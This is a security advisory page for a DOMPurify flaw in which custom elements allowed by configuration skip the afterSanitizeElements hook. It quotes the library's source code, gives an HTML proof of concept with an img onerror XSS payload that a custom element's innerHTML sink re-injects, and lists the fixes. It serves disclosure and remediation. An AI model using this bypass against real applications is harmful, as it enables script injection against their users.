CVE-2026-66010: DOMPurify before 3.4.12 Hook Bypass via CUSTOM_ELEMENT_HANDLING

Published Jul 21, 2026
·
Updated

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOMELEMENTHANDLING.

When a custom element is allowed via CUSTOMELEMENTHANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

tsx const sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { / Check if we have a custom element to handle / if (!FORBIDTAGS[tagName] && isBasicCustomElement(tagName)) { if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOMELEMENTHANDLING.tagNameCheck, tagName) ) { return false; }

if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof Function && CUSTOMELEMENTHANDLING.tagNameCheck(tagName) ) { return false; } }

CUSTOMELEMENTHANDLING is parsed from user configuration at src/purify.ts: line 741~748

tsx const customElementHandling = objectHasOwnProperty(cfg, 'CUSTOMELEMENTHANDLING') && cfg.CUSTOMELEMENTHANDLING && typeof cfg.CUSTOMELEMENTHANDLING === 'object' ? clone(cfg.CUSTOMELEMENTHANDLING) : create(null);

CUSTOMELEMENTHANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOMELEMENTHANDLING object there.

During element sanitization, sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

tsx / Remove element if anything forbids its presence / if ( FORBIDTAGS[tagName] || (!( EXTRAELEMENTHANDLING.tagCheck instanceof Function && EXTRAELEMENTHANDLING.tagCheck(tagName) ) && !ALLOWEDTAGS[tagName]) ) { return sanitizeDisallowedNode(currentNode, tagName); }

If so, it immediately delegates to sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

tsx const sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { / Check if we have a custom element to handle / if (!FORBIDTAGS[tagName] && isBasicCustomElement(tagName)) { if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOMELEMENTHANDLING.tagNameCheck, tagName) ) { return false; }

if ( CUSTOMELEMENTHANDLING.tagNameCheck instanceof Function && CUSTOMELEMENTHANDLING.tagNameCheck(tagName) ) { return false; } }

If the node is treated as a basic custom element and CUSTOMELEMENTHANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to sanitizeElements() via the return sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in sanitizeElements() is skipped for that custom element instance, including:

- the namespace validation at src/purify.ts: line 1816~1826

tsx Check whether element has a valid namespace. Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype nodeType getter rather than instanceof Element, which is realm- bound and short-circuits to false for any node minted in a different realm — letting a foreign-realm element with a forbidden namespace slip past the namespace check entirely. / const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType; if (nt === NODETYPE.element && !checkValidNamespace(currentNode)) { forceRemove(currentNode); return true; }

- the fallback-tag mXSS check at src/purify.ts: line 1828~1837

tsx / Make sure that older browsers don't get fallback-tag mXSS / if ( (tagName === 'noscript' || tagName === 'noembed' || tagName === 'noframes') && regExpTest(EXPRESSIONS.FALLBACKTAGCLOSE, currentNode.innerHTML) ) { forceRemove(currentNode); return true; }

- most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.

tsx / Execute a hook if present / executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOMELEMENTHANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOMELEMENTHANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps

1. Save the following HTML to a file, for example poc.html. 2. Open it in a browser. 3. Observe that the div control loses data-bio, while the allowed custom element keeps it. 4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.

HTML PoC

html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script> </head> <body> <pre id="result"></pre>

<script> window.controlFired = false; window.candidateFired = false;

customElements.define("x-bio", class extends HTMLElement { connectedCallback() { const bio = this.getAttribute("data-bio"); if (bio) this.innerHTML = bio; } });

DOMPurify.addHook("afterSanitizeElements", node => { if (node.hasAttribute && node.hasAttribute("data-bio")) { node.removeAttribute("data-bio"); } });

const config = { CUSTOMELEMENTHANDLING: { tagNameCheck: /^x-/ } };

const controlInput = '<div data-bio="&lt;img src=x onerror=window.controlFired=true&gt;"></div>';

const candidateInput = '<x-bio data-bio="&lt;img src=x onerror=window.candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config); const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div"); container.innerHTML = cleanCandidate; document.body.appendChild(container);

setTimeout(() => { document.getElementById("result").textContent = "This is not direct DOMPurify XSS.\n" + "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" + "control: " + cleanControl + "\n" + "candidate: " + cleanCandidate + "\n" + "after connectedCallback: " + container.innerHTML + "\n" + "control fired: " + window.controlFired + "\n" + "candidate fired: " + window.candidateFired; }, 100); </script> </body> </html>

Expected result

control: <div></div> candidate: <x-bio data-bio="<img src=x onerror=window.candidateFired=true>"></x-bio> after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.candidateFired=true"></x-bio> control fired: false candidate fired: true

This is output of HTML PoC.

<img width="1917" height="961" alt="poc" src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10" />

Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

- enable CUSTOMELEMENTHANDLING, - rely on afterSanitizeElements as a security policy layer, - expect that hook to apply uniformly to all surviving elements, - and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

- ensuring that allowed custom elements also consistently pass through afterSanitizeElements - documenting clearly that elements preserved via CUSTOMELEMENTHANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

Other sources

DOMPurify before 3.4.12 fails to execute afterSanitizeElements hook for custom elements allowed via CUSTOMELEMENTHANDLING.tagNameCheck, allowing attributes to bypass application security policies. Attackers can preserve sensitive attributes on custom elements that later re-inject them into innerHTML sinks, creating second-order XSS gadgets.

— MITRE

DOMPurify before 3.4.12 Hook Bypass via CUSTOMELEMENTHANDLING

— Microsoft

Affected Software

10 affected componentsFixes available
DOMPurify<3.4.12
Cure53 DOMPurify<3.4.12
npm/dompurify<=3.4.11
3.4.12
All of the following
azurelinux/python-jupytext<0:1.19.6-2.azl4
0:1.19.6-2.azl4
Microsoft Azure Linux=4.0
IBM watsonx.data<=2.4.0 - 2.4.0 patch 8
ubuntu/node-dompurify*
ubuntu/node-dompurify*
ubuntu/node-dompurify*
debian/node-dompurify<=2.4.1+dfsg+~2.4.0-2+deb12u1, <=2.4.1+dfsg+~2.4.0-2+deb12u2, <=3.1.7+dfsg+~3.0.5-2
3.4.12+dfsg-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/dompurify to a version that resolves this vulnerability.

    Fixed in 3.4.12
  2. Upgrade

    Upgrade azurelinux/python-jupytext to a version that resolves this vulnerability.

    Fixed in 0:1.19.6-2.azl4
  3. Upgrade

    Upgrade debian/node-dompurify to a version that resolves this vulnerability.

    Fixed in 3.4.12+dfsg-1
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.4.12

Event History

Jul 21, 2026
Advisory Published
via GitHub·07:41 PM
Data Sourced
via GitHub·07:41 PM
DescriptionWeaknessAffected Software
Jul 24, 2026
CVE Published
via MITRE·12:07 PM
Data Sourced
via MITRE·12:07 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:18 PM
DescriptionSeverityWeakness
Event
via NVD·01:18 PM
Aug 6, 2026
Data Sourced
via NVD·12:47 AM
Affected Software
Aug 11, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Oct 8, 2026
Updated
via IBM·12:00 AM
Affected Software
Oct 14, 2026
Updated
via IBM·12:00 AM
Affected Software
Nov 17, 2026
Data Sourced
via Microsoft·07:09 AM
DescriptionSeverityWeaknessAffected Software
Nov 19, 2026
Updated
via IBM·12:00 AM
Affected Software
Nov 24, 2026
Data Sourced
via OSV·02:56 PM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-66010?

The severity of CVE-2026-66010 is classified as medium with a score of 6.1.

2

How do I fix CVE-2026-66010?

To fix CVE-2026-66010, upgrade DOMPurify to version 3.4.12 or later.

3

What type of vulnerability is CVE-2026-66010?

CVE-2026-66010 is a Cross-Site Scripting (XSS) vulnerability.

4

What impact does CVE-2026-66010 have?

CVE-2026-66010 allows attackers to bypass application security policies and preserve sensitive attributes in custom elements.

5

What software is affected by CVE-2026-66010?

The affected software for CVE-2026-66010 is DOMPurify, specifically versions before 3.4.12.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203